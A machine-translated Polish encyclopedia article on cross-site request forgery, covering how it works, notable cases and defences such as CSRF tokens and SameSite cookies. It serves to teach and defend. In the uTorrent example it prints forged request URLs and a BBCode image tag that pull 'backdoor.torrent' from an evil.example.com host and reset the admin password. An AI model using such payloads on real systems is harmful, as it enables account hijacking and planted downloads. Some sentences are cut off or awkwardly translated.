Fałszowanie żądań między witrynami

Fałszowanie żądań między witrynami , znane również jako atak jednym kliknięciem lub jazda sesyjna i w skrócie CSRF (czasami wymawiane jako sea-surf ) lub XSRF , to rodzaj złośliwego wykorzystania witryny lub aplikacji internetowej , w którym nieautoryzowane polecenia są wysyłane przez użytkownika którym ufa aplikacja internetowa. Istnieje wiele sposobów, za pomocą których złośliwa strona internetowa może przesyłać takie polecenia; przykład specjalnie spreparowane znaczniki graficzne, ukryte formularze, pobieranie JavaScript lub XMLHttpRequests mogą działać bez interakcji, a nawet wiedzy użytkownika. W przeciwieństwie do skryptów krzyżowych (XSS), które wykorzystują zaufanie użytkownika do określonej witryny, CSRF wykorzystuje zaufanie, jakie witryna ma do przeglądarki użytkownika. W ataku CSRF niewinny użytkownik końcowy zostaje oszukany przez atakującego do przesłania żądania sieciowego, którego nie zamierzał. Może to spowodować wykonanie działań w witrynie, które mogą obejmować nieumyślny wyciek danych klienta lub serwera, zmianę stanu sesji lub manipulację kontem użytkownika końcowego.

Termin „CSRF” jest również używany jako skrót w obronie przed atakami CSRF, takimi jak techniki wykorzystujące dane nagłówka, dane formularza lub pliki cookie do testowania takich ataków i zapobiegania im.

Charakterystyka

W przypadku ataku CSRF celem atakującego jest skłonienie niewinnej ofiary do nieświadomego przesłania złośliwie spreparowanego żądania sieciowego do witryny internetowej, do której ofiara ma uprzywilejowany dostęp. To żądanie sieciowe może zostać utworzone w taki sposób, aby zawierało parametry adresu URL, pliki cookie i inne dane, które wydają się normalne dla serwera sieciowego przetwarzającego żądanie. Zagrożone są aplikacje internetowe , które wykonują działania na podstawie danych wejściowych pochodzących od zaufanych i uwierzytelnionych użytkowników, nie wymagając od użytkownika autoryzacji (np. poprzez wyskakujące okienko z potwierdzeniem) określonej akcji. Użytkownik uwierzytelniony za pomocą pliku cookie zapisanego w przeglądarce internetowej użytkownika może nieświadomie wysłać żądanie HTTP do witryny, która mu ufa, powodując w ten sposób niepożądane działanie.

Ogólną właściwością przeglądarek internetowych jest to, że będą one automatycznie i niewidocznie uwzględniać wszelkie pliki cookie (w tym pliki cookie sesji i inne) używane przez daną domenę w każdym żądaniu internetowym wysyłanym do tej domeny. Ta właściwość jest wykorzystywana przez ataki CSRF. W przypadku, gdy użytkownik zostanie nakłoniony do nieumyślnego przesłania żądania za pośrednictwem przeglądarki, te automatycznie dołączone pliki cookie spowodują, że sfałszowane żądanie będzie wyglądało na serwer sieciowy jako prawdziwy i wykona on wszelkie wymagane działania, w tym zwrócenie danych, manipulację stanem sesji lub wykonanie zmiany na koncie ofiary.

Aby atak CSRF zadziałał, osoba atakująca musi zidentyfikować powtarzalne żądanie sieciowe, które wykonuje określone działanie, takie jak zmiana hasła do konta na stronie docelowej. Po zidentyfikowaniu takiego żądania można utworzyć łącze generujące złośliwe żądanie, które można osadzić na stronie znajdującej się pod kontrolą osoby atakującej. Link ten może być umieszczony w taki sposób, że ofiara nie musi nawet w niego klikać. Na przykład może być osadzony w tagu obrazu HTML w wiadomości e-mail wysłanej do ofiary, która zostanie automatycznie załadowana, gdy ofiara otworzy wiadomość e-mail. Gdy ofiara kliknie łącze, jej przeglądarka automatycznie uwzględni wszelkie pliki cookie używane przez tę witrynę i prześle żądanie do serwera sieciowego. Serwer sieciowy nie będzie w stanie zidentyfikować fałszerstwa, ponieważ żądanie zostało wysłane przez zalogowanego użytkownika, który przesłał wszystkie wymagane pliki cookie.

Fałszowanie żądań między witrynami jest przykładem zdezorientowanego ataku zastępcy na przeglądarkę internetową, ponieważ przeglądarka internetowa zostaje oszukana do przesłania sfałszowanego żądania przez mniej uprzywilejowanego atakującego.

CSRF zwykle ma następujące cechy:

tożsamości użytkownika .
Wykorzystuje zaufanie witryny do tej tożsamości.
Nakłania przeglądarkę użytkownika do wysyłania żądań HTTP do witryny docelowej, w której użytkownik jest już uwierzytelniony.
Obejmuje żądania HTTP, które mają skutki uboczne .

Historia

Luki CSRF Token są znane iw niektórych przypadkach wykorzystywane od 2001 roku. Ponieważ odbywa się to z adresu IP użytkownika , niektóre dzienniki witryn mogą nie zawierać dowodów CSRF. Exploity są niedostatecznie zgłaszane, przynajmniej publicznie, a od 2007 roku było kilka dobrze udokumentowanych przykładów:

Witryna Netflix w 2006 roku miała wiele luk w zabezpieczeniach CSRF, które mogły pozwolić atakującemu na wykonanie działań, takich jak dodanie DVD do kolejki wypożyczeń ofiary, zmiana adresu wysyłki na koncie lub zmiana danych logowania ofiary w celu pełnego skompromitowania konta .
Internetowa aplikacja bankowości internetowej ING Direct była podatna na atak CSRF, który umożliwił nielegalne przelewy pieniężne.
Popularny serwis wideo YouTube był również podatny na CSRF w 2008 roku, co pozwoliło każdemu atakującemu wykonać prawie wszystkie działania dowolnego użytkownika.
McAfee Secure był również podatny na CSRF i umożliwił atakującym zmianę systemu firmowego. Jest to naprawione w nowszych wersjach.

W 2018 roku przeprowadzono nowe ataki na urządzenia z dostępem do sieci, w tym próby zmiany ustawień DNS routerów. Niektórzy producenci routerów w pośpiechu wydali aktualizacje oprogramowania układowego w celu poprawy ochrony i doradzili użytkownikom zmianę ustawień routera w celu zmniejszenia ryzyka. Szczegóły nie zostały ujawnione, powołując się na „oczywiste względy bezpieczeństwa”.

Przykład

Strona National Vulnerability Database opisująca lukę CSRF

Atakujący, którzy mogą znaleźć odtwarzalny link, który wykonuje określoną akcję na stronie docelowej, gdy ofiara jest zalogowana, mogą osadzić taki link na kontrolowanej przez siebie stronie i nakłonić ofiarę do jej otwarcia. Link do nośnika ataku może zostać umieszczony w miejscu, które ofiara prawdopodobnie odwiedzi po zalogowaniu się na stronie docelowej (na przykład na forum dyskusyjnym) lub wysłany w treści lub załączniku wiadomości e-mail w formacie HTML. Prawdziwa luka CSRF w uTorrent ( CVE-2008-6586 ) wykorzystywała fakt, że jego konsola internetowa dostępna pod adresem localhost :8080 umożliwiała wykonanie krytycznych działań przy użyciu prostego żądania GET:

Wymuś pobieranie pliku .torrent: http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
Zmień hasło administratora uTorrent: http://localhost:8080/gui/ ?action=setting&s=webui.password&v=eviladmin

elementów graficznych HTML o automatycznym działaniu na forach i spamie e-mailowym , tak aby przeglądarki odwiedzające te strony otwierały je automatycznie, bez większego udziału użytkownika. Osoby korzystające z podatnej na ataki wersji uTorrent w momencie otwierania tych stron były podatne na atak.

Ataki CSRF z wykorzystaniem znaczników graficznych są często przeprowadzane z forów internetowych , gdzie użytkownicy mogą publikować obrazy, ale nie JavaScript , na przykład za pomocą BBCode :

 [img]  http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent  [/img]

Podczas uzyskiwania dostępu do łącza atakującego do lokalnej aplikacji uTorrent pod adresem localhost:8080 przeglądarka zawsze automatycznie wysyłała również wszelkie istniejące pliki cookie dla tej domeny. Ta ogólna właściwość przeglądarek internetowych umożliwia atakom CSRF wykorzystanie ich docelowych luk i wykonywanie wrogich działań, o ile użytkownik jest zalogowany na docelowej stronie internetowej (w tym przykładzie lokalny interfejs sieciowy uTorrent) w momencie ataku.

W opisanym powyżej przykładzie uTorrent atak był ułatwiony dzięki temu, że interfejs sieciowy uTorrent wykorzystywał żądanie GET do krytycznych operacji zmiany stanu (zmiana danych uwierzytelniających, pobieranie pliku itp.), czego dokument RFC 2616 wyraźnie odradza:

W szczególności przyjęto konwencję, że metody GET i HEAD NIE POWINNY mieć na celu podjęcia innej akcji niż pobranie. Metody te należy uznać za „bezpieczne”. Pozwala to agentom użytkownika na reprezentowanie innych metod, takich jak POST, PUT i DELETE, w specjalny sposób, dzięki czemu użytkownik jest świadomy faktu, że żądana jest potencjalnie niebezpieczna akcja.

Z powodu tego założenia wiele istniejących mechanizmów zapobiegania CSRF w frameworkach internetowych nie będzie obejmowało żądań GET , ale raczej zastosuje ochronę tylko do metod HTTP, które mają na celu zmianę stanu.

Fałszowanie żądań logowania

Osoba atakująca może sfałszować prośbę o zalogowanie ofiary na docelowej stronie internetowej przy użyciu danych uwierzytelniających osoby atakującej; jest to znane jako CSRF logowania . Login CSRF umożliwia różne nowatorskie ataki; na przykład osoba atakująca może później zalogować się do witryny przy użyciu swoich uzasadnionych danych uwierzytelniających i przeglądać prywatne informacje, takie jak historia aktywności, które zostały zapisane na koncie. Ten atak został zademonstrowany na Google i Yahoo .

Czasowniki HTTP i CSRF

W zależności od typu, metody żądania HTTP różnią się podatnością na ataki CSRF (ze względu na różnice w ich obsłudze przez przeglądarki internetowe ). Dlatego środki ochrony przed atakiem zależą od metody żądania HTTP.

W HTTP GET wykorzystanie CSRF jest trywialne, przy użyciu metod opisanych powyżej, takich jak proste hiperłącze zawierające zmanipulowane parametry i automatycznie ładowane przez tag IMG . Jednak zgodnie ze specyfikacją HTTP GET powinien być stosowany jako metoda bezpieczna , to znaczy nie zmieniająca istotnie stanu użytkownika w aplikacji. Aplikacje wykorzystujące GET do takich operacji powinny przełączyć się na HTTP POST lub zastosować ochronę anty-CSRF.
podatność HTTP POST na CSRF zależy od scenariusza użycia:
- W najprostszej postaci POST z danymi zakodowanymi jako ciąg zapytania ( field1=value1&field2=value2 ) atak CSRF można łatwo zaimplementować za pomocą prostego formularza HTML i należy zastosować środki anty-CSRF.
- Jeśli dane są przesyłane w jakimkolwiek innym formacie ( JSON , XML ), standardową metodą jest wysłanie żądania POST przy użyciu XMLHttpRequest z atakami CSRF, którym zapobiega polityka Same-origin (SOP) i współdzielenie zasobów między źródłami (CORS); istnieje technika wysyłania dowolnej treści z prostego formularza HTML za pomocą atrybutu ENCTYPE ; takie fałszywe żądanie można odróżnić od uzasadnionych po tekstu/zwykłej treści, ale jeśli nie jest to wymuszone na serwerze, CSRF może zostać wykonany
inne metody HTTP (PUT, DELETE itp.) mogą być wydawane tylko przy użyciu XMLHttpRequest z polityką tego samego pochodzenia (SOP) i udostępnianiem zasobów między źródłami (CORS) uniemożliwiającymi CSRF; środki te nie będą jednak aktywne na stronach internetowych, które wyraźnie je wyłączają za pomocą Access-Control-Allow-Origin: * header

Inne podejścia do CSRF

Ponadto, choć zwykle opisywany jako atak statyczny, CSRF może być również konstruowany dynamicznie jako część ładunku ataku typu cross-site scripting , jak zademonstrował robak Samy , lub konstruowany w locie z informacji o sesji, które wyciekły za pośrednictwem treści poza witryną i wysyłane do celu jako złośliwy adres URL. Tokeny CSRF mogą być również wysyłane do klienta przez atakującego z powodu utrwalania sesji lub innych luk w zabezpieczeniach lub odgadywane za pomocą ataku siłowego, renderowane na złośliwej stronie, która generuje tysiące nieudanych żądań. Klasa ataku „Dynamic CSRF” lub użycie ładunku na klienta do fałszerstwa specyficznego dla sesji została opisana w 2009 roku przez Nathana Hamiela i Shawna Moyera na BlackHat Briefings, chociaż taksonomia nie została jeszcze przyjęta na szerszą skalę.

Nowy wektor do komponowania dynamicznych ataków CSRF został przedstawiony przez Oren Ofer na spotkaniu lokalnego oddziału OWASP w styczniu 2012 r. – „AJAX Hammer – Dynamic CSRF”.

Efekty

Wydano wskaźniki ważności dla luk w zabezpieczeniach tokena CSRF, które skutkują zdalnym wykonaniem kodu z uprawnieniami administratora , a także luki w zabezpieczeniach, która może naruszyć certyfikat główny , co całkowicie osłabi infrastrukturę klucza publicznego .

Ograniczenia

Aby fałszowanie żądań między witrynami się powiodło, musi się wydarzyć kilka rzeczy:

Atakujący musi obrać za cel witrynę, która nie sprawdza nagłówka strony odsyłającej , albo ofiarę z przeglądarką lub wtyczką umożliwiającą fałszowanie strony odsyłającej .
Atakujący musi znaleźć formularz w witrynie docelowej lub adres URL, który ma skutki uboczne, który coś robi (np. przesyła pieniądze lub zmienia adres e-mail lub hasło ofiary).
Atakujący musi określić właściwe wartości dla wszystkich formularzy lub adresów URL; jeśli którekolwiek z nich muszą być tajnymi wartościami uwierzytelniającymi lub identyfikatorami, których atakujący nie może odgadnąć, atak najprawdopodobniej zakończy się niepowodzeniem (chyba że atakujący będzie miał wyjątkowe szczęście w odgadnięciu).
Atakujący musi zwabić ofiarę na stronę internetową ze złośliwym kodem, podczas gdy ofiara jest zalogowana w docelowej witrynie.

Atak jest ślepy: atakujący nie może zobaczyć, co witryna docelowa odsyła do ofiary w odpowiedzi na sfałszowane żądania, chyba że wykorzysta skrypty krzyżowe lub inny błąd w witrynie docelowej. Podobnie osoba atakująca może celować w dowolne łącza lub przesyłać formularze pojawiające się po początkowym sfałszowanym żądaniu tylko wtedy, gdy te kolejne łącza lub formularze są podobnie przewidywalne. (Wiele celów można symulować, umieszczając wiele obrazów na stronie lub używając JavaScript w celu wprowadzenia opóźnienia między kliknięciami).

Zapobieganie

Większość technik zapobiegania CSRF polega na osadzeniu dodatkowych danych uwierzytelniających w żądaniach, co umożliwia aplikacji internetowej wykrywanie żądań z nieautoryzowanych lokalizacji.

Wzór tokena synchronizatora

Wzorzec tokenu synchronizatora (STP) to technika, w której token, tajna i unikalna wartość dla każdego żądania jest osadzona przez aplikację internetową we wszystkich formularzach HTML i weryfikowana po stronie serwera. Token może być generowany dowolną metodą zapewniającą nieprzewidywalność i unikalność (np. za pomocą łańcucha mieszającego losowego ziarna). Atakujący nie jest więc w stanie umieścić poprawnego tokena w swoich żądaniach w celu ich uwierzytelnienia.

Przykład STP ustawionego przez Django w formularzu HTML:

     <  typ wejścia =  „ukryta”  nazwa =  „csrfmiddlewaretoken”  wartość =  „KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt”  />

STP jest najbardziej kompatybilny, ponieważ opiera się tylko na HTML, ale wprowadza pewną złożoność po stronie serwera, ze względu na obciążenie związane ze sprawdzaniem ważności tokena przy każdym żądaniu. Ponieważ token jest unikalny i nieprzewidywalny, wymusza również odpowiednią sekwencję zdarzeń (np. ekran 1, następnie 2, następnie 3), co rodzi problem z użytecznością (np. użytkownik otwiera wiele zakładek). Można to złagodzić, używając tokena CSRF na sesję zamiast tokena CSRF na żądanie.

Token pliku cookie do nagłówka

Aplikacje internetowe, które używają języka JavaScript do większości swoich operacji, mogą korzystać z następującej techniki anty-CSRF:

Podczas pierwszej wizyty bez powiązanej sesji serwera aplikacja internetowa ustawia plik cookie. Plik cookie zazwyczaj zawiera losowy token, który może pozostać niezmieniony do czasu trwania sesji internetowej

 Set-Cookie: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; Wygasa=czw., 23 lipca 2015 r., 10:25:33 GMT;  Maksymalny wiek=31449600;  Ścieżka=/;  SameSite=Lekki;  Bezpieczny

JavaScript działający po stronie klienta odczytuje jego wartość i kopiuje ją do niestandardowego nagłówka HTTP wysyłanego z każdym żądaniem transakcyjnym

 X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql

Serwer sprawdza obecność i integralność tokena

Bezpieczeństwo tej techniki opiera się na założeniu, że tylko JavaScript uruchomiony po stronie klienta połączenia HTTPS z serwerem, który początkowo ustawił ciasteczko, będzie w stanie odczytać jego wartość. JavaScript uruchomiony z nieuczciwego pliku lub wiadomości e-mail nie powinien być w stanie pomyślnie odczytać wartości pliku cookie, aby skopiować ją do niestandardowego nagłówka. Mimo że plik cookie csrf-token może zostać automatycznie wysłany wraz z nieuczciwym żądaniem, zgodnie z polityką dotyczącą plików cookie SameSite, serwer nadal będzie oczekiwał prawidłowego nagłówka X-Csrf-Token .

Sam token CSRF powinien być unikalny i nieprzewidywalny. Może być generowany losowo lub może pochodzić z tokena sesji przy użyciu HMAC :

csrf_token = HMAC(session_token, application_secret)

Plik cookie tokena CSRF nie może mieć flagi httpOnly , ponieważ zgodnie z projektem ma być odczytywany przez JavaScript .

Ta technika jest implementowana przez wiele nowoczesnych frameworków, takich jak Django i AngularJS . Ponieważ token pozostaje stały przez całą sesję użytkownika, dobrze współpracuje z AJAX , ale nie wymusza sekwencji zdarzeń w aplikacji internetowej.

Ochronę zapewnianą przez tę technikę można udaremnić, jeśli docelowa witryna internetowa wyłączy swoją politykę tego samego pochodzenia, korzystając z jednej z następujących technik:

clientaccesspolicy.xml udzielający niezamierzonego dostępu do kontrolek Silverlight
crossdomain.xml umożliwiający niezamierzony dostęp do filmów Flash

Podwójne przesyłanie plików cookie

Podobnie jak w przypadku podejścia „cookie-to-header”, ale bez udziału JavaScript, witryna może ustawić token CSRF jako plik cookie, a także wstawić go jako ukryte pole w każdym formularzu HTML. Po przesłaniu formularza witryna może sprawdzić, czy token pliku cookie jest zgodny z tokenem formularza. Polityka tego samego pochodzenia uniemożliwia atakującemu odczytywanie lub ustawianie plików cookie w domenie docelowej, więc nie może umieścić prawidłowego tokena w swojej spreparowanej formie.

Zaletą tej techniki nad wzorcem synchronizatora jest to, że token nie musi być przechowywany na serwerze.

Atrybut pliku cookie SameSite

Dodatkowy atrybut „SameSite” może zostać dołączony, gdy serwer ustawia plik cookie, instruując przeglądarkę, czy dołączyć plik cookie do żądań między witrynami. Jeśli ten atrybut jest ustawiony na „ścisły”, plik cookie będzie wysyłany tylko w przypadku żądań z tej samej witryny, przez co CSRF będzie nieskuteczny. Wymaga to jednak od przeglądarki rozpoznania i poprawnej implementacji atrybutu.

Zabezpieczenia po stronie klienta

Rozszerzenia przeglądarki, takie jak RequestPolicy (dla Mozilla Firefox ) lub uMatrix (zarówno dla Firefoksa, jak i Google Chrome / Chromium ) mogą zapobiegać CSRF, zapewniając domyślną politykę odmowy dla żądań między witrynami. Może to jednak znacznie zakłócić normalne działanie wielu stron internetowych. Rozszerzenie CsFire (również dla Firefoksa) może złagodzić wpływ CSRF przy mniejszym wpływie na normalne przeglądanie, usuwając informacje uwierzytelniające z żądań między witrynami.

Rozszerzenie NoScript dla przeglądarki Firefox łagodzi zagrożenia CSRF, odróżniając zaufane i niezaufane witryny oraz usuwając uwierzytelnianie i ładunki z żądań POST wysyłanych przez niezaufane witryny do zaufanych. Moduł Application Boundary Enforcer w NoScript blokuje również żądania wysyłane ze stron internetowych do miejsc lokalnych (np. localhost), zapobiegając atakom CSRF na lokalne usługi (takie jak uTorrent) czy routery.

Rozszerzenie Self Destructing Cookies dla przeglądarki Firefox nie chroni bezpośrednio przed CSRF, ale może skrócić okno ataku, usuwając pliki cookie, gdy tylko przestaną być powiązane z otwartą kartą.

Inne techniki

W przeszłości stosowano lub proponowano różne inne techniki zapobiegania CSRF:

Sprawdzenie, czy nagłówki żądania zawierają X-Requested-With (używane przez Ruby on Rails przed wersją 2.0 i Django przed wersją 1.2.5) lub sprawdzenie nagłówka HTTP Referer i/lub nagłówka HTTP Origin . Jest to jednak niepewne – połączenie wtyczek przeglądarki i przekierowań może pozwolić atakującemu na dostarczenie niestandardowych nagłówków HTTP na żądanie dowolnej witryny internetowej, umożliwiając w ten sposób sfałszowane żądanie.
Sprawdzanie nagłówka HTTP Referer w celu sprawdzenia, czy żądanie pochodzi z autoryzowanej strony, jest powszechnie stosowane w przypadku wbudowanych urządzeń sieciowych, ponieważ nie zwiększa wymagań dotyczących pamięci. Jednak żądanie pomijające odsyłającej musi być traktowane jako nieautoryzowane, ponieważ osoba atakująca może ukryć nagłówek strony odsyłającej , wysyłając żądania z adresów URL FTP lub HTTPS. Ta ścisła strony odsyłającej może powodować problemy z przeglądarkami lub serwerami proxy, które pomijają nagłówek strony odsyłającej ze względu na ochronę prywatności. Ponadto starsze wersje Flasha (sprzed 9.0.18) umożliwiają złośliwemu Flashowi generowanie żądań GET lub POST z dowolnymi nagłówkami żądań HTTP przy użyciu CRLF Injection . Podobne luki w zabezpieczeniach związane z wtryskiem CRLF w kliencie mogą zostać wykorzystane do sfałszowania strony odsyłającej żądania HTTP.
Metoda żądania POST była przez pewien czas postrzegana jako odporna na trywialne ataki CSRF przy użyciu parametrów w adresie URL (przy użyciu metody GET). Jednak zarówno POST, jak i każdą inną metodę HTTP można teraz łatwo wykonać za pomocą XMLHttpRequest . Odfiltrowywanie nieoczekiwanych żądań GET nadal zapobiega niektórym konkretnym atakom, takim jak ataki między witrynami przy użyciu złośliwych adresów URL obrazów lub adresów łączy oraz wyciek informacji między witrynami przez elementy <script> ( przechwytywanie JavaScript ); zapobiega również (niezwiązanym z bezpieczeństwem) problemom z agresywnymi robotami indeksującymi i pobieraniem linków z wyprzedzeniem .

z cross-site scripting (XSS) (nawet w innych aplikacjach działających w tej samej domenie) umożliwiają atakującym ominięcie zasadniczo wszystkich zabezpieczeń CSRF.

Zobacz też

Linki zewnętrzne